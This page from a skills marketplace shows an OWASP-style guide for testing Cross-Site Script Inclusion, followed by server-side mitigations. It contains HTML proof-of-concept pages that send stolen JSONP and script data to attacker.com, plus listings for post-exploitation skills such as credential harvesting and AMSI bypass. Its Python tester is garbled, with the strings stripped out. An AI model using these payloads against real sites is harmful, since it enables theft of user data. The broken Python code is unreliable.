Menü
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-clnt-13Der Befehl bleibt in einer Zeile. Scrollen Sie horizontal, um ihn vor dem Kopieren vollständig zu prüfen.
Sie bevorzugen eine lokale Kopie? Laden Sie die Dateien herunter, die SkillsMP derzeit vorliegen.
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
Basierend auf der SOC-Berufsklassifikation
SKILL.md wird angezeigt
| name | wstg-clnt-13 |
| description | Testing for Cross-Site Script Inclusion (XSSI) |
| category | client-side |
| owasp_id | WSTG-CLNT-13 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["client-side","javascript","dom","cors","wstg","clnt"] |
| tech_stack | [] |
| cwe_ids | ["CWE-942"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-CLNT-13
Testing for Cross-Site Script Inclusion (XSSI)
Cross-Site Script Inclusion (XSSI) allows attackers to steal sensitive data by including a victim's JavaScript files as script sources from an attacker-controlled page. This exploits the fact that JavaScript files may contain sensitive user data and are not protected by Same-Origin Policy when loaded as scripts.
#!/bin/bash
TARGET="https://target.com"
# Find JavaScript endpoints
echo "[*] Finding JavaScript files..."
# Check for dynamic JS endpoints
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js[^"]*"' | sort -u
# Check for JSONP endpoints
curl -s "$TARGET" | grep -oP 'callback=[^&"]+' | sort -u
# Test JSON endpoints with script inclusion
curl -s "$TARGET/api/user" -H "Accept: application/javascript"
#!/usr/bin/env python3
"""
XSSI (Cross-Site Script Inclusion) Vulnerability Tester
"""
import requests
import re
urllib.parse urljoin, parse_qs, urlparse
:
():
.base_url = base_url
.findings = []
.session = requests.Session()
():
()
response = .session.get(.base_url)
script_srcs = re.findall(, response.text)
jsonp_patterns = re.findall(, response.text)
endpoints = []
src script_srcs:
full_url = urljoin(.base_url, src)
endpoints.append((, full_url))
endpoints
():
()
callbacks = [, , , , ]
cb_param callbacks:
test_url =
:
response = .session.get(test_url)
response.text:
()
.contains_sensitive_data(response.text):
.findings.append({
: ,
: test_url,
: cb_param,
: ,
:
})
:
.findings.append({
: ,
: test_url,
: cb_param,
: ,
:
})
Exception e:
():
()
response_unauth = requests.get(js_url)
response_auth = .session.get(js_url)
response_auth.text != response_unauth.text:
()
.contains_sensitive_data(response_auth.text):
()
.findings.append({
: ,
: js_url,
: ,
:
})
():
()
response = .session.get(endpoint)
content = response.text.strip()
content.startswith() content.endswith():
()
.contains_sensitive_data(content):
.findings.append({
: ,
: endpoint,
: ,
:
})
():
sensitive_patterns = [
, , , ,
, , , ,
, , , ,
, ,
]
pattern sensitive_patterns:
re.search(pattern, content, re.IGNORECASE):
():
poc =
poc
():
auth_cookies:
.session.cookies.update(auth_cookies)
endpoints = .find_js_endpoints()
endpoint_type, url endpoints:
endpoint_type == :
.test_js_hijacking(url)
common_jsonp = [, , , ]
path common_jsonp:
.test_jsonp_xssi(urljoin(.base_url, path))
json_endpoints = [, , ]
path json_endpoints:
.test_json_array_hijacking(urljoin(.base_url, path))
.generate_report()
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
()
()
f[] == :
()
tester = XSSITester()
tester.run_tests(auth_cookies={: })
<!-- Scenario 1: JSONP Data Theft -->
<!DOCTYPE html>
<html>
<body>
<script>
function callback(data) {
// Steal user data
new Image().src = "https://attacker.com/log?data=" + encodeURIComponent(JSON.stringify(data))
}
</script>
<script src="https://target.com/api/user?callback=callback"></script>
</body>
</html>
<!-- Scenario 2: JavaScript Variable Theft -->
<!DOCTYPE html>
<html>
<body>
<script src="https://target.com/js/config.js"></script>
<script>
// If config.js sets: var userData = {...}
if (typeof userData !== "undefined") {
fetch("https://attacker.com/log", {
method: "POST",
body: JSON.stringify(userData),
})
}
</script>
</body>
</html>
<!-- Scenario 3: Prototype Manipulation -->
<!DOCTYPE html>
<html>
<body>
<script>
Object.prototype.__defineSetter__("sensitive", function (val) {
fetch("https://attacker.com/log?data=" + encodeURIComponent(val))
})
</script>
<script src="https://target.com/api/user.js"></script>
</body>
</html>
// Browser console - test for XSSI patterns
// 1. Check if endpoint returns valid JavaScript
fetch("/api/user")
.then((r) => r.text())
.then((text) => {
try {
// Check if it's valid JS
new Function(text)
console.log("[!] Endpoint returns executable JavaScript")
} catch (e) {
console.log("[OK] Not executable as JavaScript")
}
})
// 2. Check for JSONP parameters
const jsonpParams = ["callback", "jsonp", "cb", "func", "jsonpcallback"]
jsonpParams.forEach((param) => {
fetch(`/api/data?${param}=test`)
.then((r) => r.text())
.then((text) => {
if (text.includes("test(")) {
console.log(`[!] JSONP parameter found: ${param}`)
}
})
})
| Tool | Purpose |
|---|---|
| Burp Suite | Intercept and analyze responses |
| Browser DevTools | Monitor script loading |
| Custom PoC | Test XSSI exploitation |
| curl | Manual testing |
# Server-side protections
# 1. Avoid JSONP - Use CORS instead
@app.route('/api/user')
def get_user():
# Don't support callback parameter
# Use proper CORS headers instead
response = jsonify(user_data)
response.headers['Access-Control-Allow-Origin'] = 'https://trusted.com'
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
# 2. Add unexecutable prefix to JSON responses
@app.route('/api/data')
def get_data():
data = get_sensitive_data()
# Prefix makes it invalid JavaScript
response = make_response(")]}',\n" + json.dumps(data))
response.headers['Content-Type'] = 'application/json'
response.headers['X-Content-Type-Options'] = 'nosniff'
return response
# 3. Use POST for sensitive data
@app.route('/api/sensitive', methods=['POST'])
def get_sensitive():
# POST requests cannot be made via script src
return jsonify(sensitive_data)
# 4. Validate Content-Type
@app.before_request
def check_content_type():
if request.path.startswith('/api/'):
accept = request.headers.get('Accept', '')
# Reject script-like requests
if 'text/javascript' in accept or '*/*' in accept:
if not request.headers.get('X-Requested-With'):
abort(403)
// Client-side: Strip prefix from responses
async function fetchSecure(url) {
const response = await fetch(url, {
credentials: "include",
headers: {
"X-Requested-With": "XMLHttpRequest",
Accept: "application/json",
},
})
let text = await response.text()
// Remove anti-XSSI prefix
if (text.startsWith(")]}',\n")) {
text = text.substring(6)
}
return JSON.parse(text)
}
| Finding | CVSS | Severity |
|---|---|---|
| JSONP with sensitive user data | 7.5 | High |
| Authenticated JavaScript hijacking | 7.5 | High |
| JSON array with sensitive data | 5.3 | Medium |
| JSONP callback controllable (no sensitive data) | 4.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-352 | Cross-Site Request Forgery (CSRF) |
| CWE-200 | Exposure of Sensitive Information to an Unauthorized Actor |
| CWE-346 | Origin Validation Error |
[ ] Dynamic JavaScript endpoints identified
[ ] JSONP endpoints tested
[ ] Callback parameter manipulation tested
[ ] Authenticated JS content analyzed
[ ] JSON array responses checked
[ ] Sensitive data patterns searched
[ ] PoC created for vulnerabilities
[ ] Findings documented